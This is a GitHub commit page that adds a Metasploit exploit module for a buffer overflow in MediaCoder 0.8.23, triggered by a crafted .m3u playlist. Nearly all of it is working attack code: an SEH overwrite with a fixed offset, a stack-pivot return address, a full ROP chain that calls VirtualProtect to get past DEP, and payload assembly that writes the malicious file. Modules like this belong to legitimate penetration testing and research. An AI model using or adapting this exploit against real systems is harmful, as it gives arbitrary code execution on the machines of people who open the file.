Skip to content

Commit b8354d3

Browse files
committed
Added MediaCoder exploit module
1 parent 03e48df commit b8354d3

File tree

1 file changed

+122
-0
lines changed

1 file changed

+122
-0
lines changed
Lines changed: 122 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,122 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = NormalRanking
12+
13+
include Msf::Exploit::FILEFORMAT
14+
include Msf::Exploit::Seh
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'MediaCoder .M3U Buffer Overflow',
19+
'Description' => %q{
20+
This module exploits a buffer overflow in MediaCoder 0.8.23. The vulnerability
21+
occurs when adding an .m3u, allowing arbitrary code execution under the context
22+
of the user. DEP bypass via ROP is supported on Windows 7, since the MediaCoder
23+
runs with DEP. This module has been tested successfully on MediaCoder 0.8.23.5530
24+
over Windows XP SP3 and Windows 7 SP1.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' =>
28+
[
29+
'metacom', # Vulnerability discovery and PoC
30+
'modpr0be <modpr0be[at]spentera.com>', # Metasploit module
31+
],
32+
'References' =>
33+
[
34+
[ 'OSVDB', '94522' ],
35+
[ 'EDB', '26403' ]
36+
],
37+
'DefaultOptions' =>
38+
{
39+
'EXITFUNC' => 'seh'
40+
},
41+
'Platform' => 'win',
42+
'Payload' =>
43+
{
44+
'Space' => 1200,
45+
'BadChars' => "\x00\x5c\x40\x0d\x0a",
46+
'DisableNops' => true,
47+
'StackAdjustment' => -3500,
48+
},
49+
'Targets' =>
50+
[
51+
[ 'MediaCoder 0.8.23.5530 / Windows XP SP3 / Windows 7 SP1',
52+
{
53+
'Ret' => 0x6afd4435, # stack pivot (add esp,7ac;pop pop pop pop ret)
54+
'Offset' => 849,
55+
'Max' => 5000
56+
}
57+
],
58+
],
59+
'Privileged' => false,
60+
'DisclosureDate' => 'Jun 24, 2013',
61+
'DefaultTarget' => 0))
62+
63+
register_options(
64+
[
65+
OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
66+
], self.class)
67+
68+
end
69+
70+
def junk(n=1)
71+
return [rand_text_alpha(4).unpack("L")[0]] * n
72+
end
73+
74+
def nops(rop=false, n=1)
75+
return rop ? [0x6ab21799] * n : [0x90909090] * n
76+
end
77+
78+
def exploit
79+
80+
rop_gadgets =
81+
[
82+
nops(true,35), # ROP NOP
83+
0x100482ff, # POP EAX # POP EBP # RETN
84+
0xffffffc0, # negate will become 0x00000040
85+
junk,
86+
0x66d9d9ba, # NEG EAX # RETN
87+
0x6ab2241d, # XCHG EAX,EDX # ADD ESP,2C # POP EBP # POP EDI # POP ESI # POP EBX # RETN
88+
junk(15), # reserve more junk for add esp,2c
89+
0x1004a8ee, # POP ECX # RETN
90+
0x6ab561b0, # ptr to &VirtualProtect()
91+
0x66d9feee, # MOV EAX,DWORD PTR DS:[ECX] # RETN
92+
0x6ab19780, # XCHG EAX,ESI # RETN
93+
0x66d929f5, # POP EAX # POP EBX # RETN
94+
0xfffffcc0, # negate will become 0x0000033f
95+
junk,
96+
0x6ab3c65a, # NEG EAX # RETN
97+
0x1004cc03, # POP ECX # RETN
98+
0xffffffff, #
99+
0x660166e9, # INC ECX # SUB AL,0EB # RETN
100+
0x66d8ae48, # XCHG ECX,EBX # RETN
101+
0x1005f6e4, # ADD EBX,EAX # OR EAX,3000000 # RETN
102+
0x6ab3d688, # POP ECX # RETN
103+
0x6ab4ead0, # Writable address
104+
0x100444e3, # POP EDI # RETN
105+
nops(true), # ROP NOP
106+
0x10048377, # POP EAX # POP EBP # RETN
107+
nops, # Regular NOPs
108+
0x6ab01c06, # PUSH ESP# RETN
109+
0x6ab28dda, # PUSHAD # RETN
110+
].flatten.pack("V*")
111+
112+
sploit = "http://"
113+
sploit << rand_text(target['Offset'])
114+
sploit << [target.ret].pack('V')
115+
sploit << rop_gadgets
116+
sploit << make_nops(16)
117+
sploit << payload.encoded
118+
sploit << rand_text(target['Max']-sploit.length)
119+
120+
file_create(sploit)
121+
end
122+
end

0 commit comments

Comments
 (0)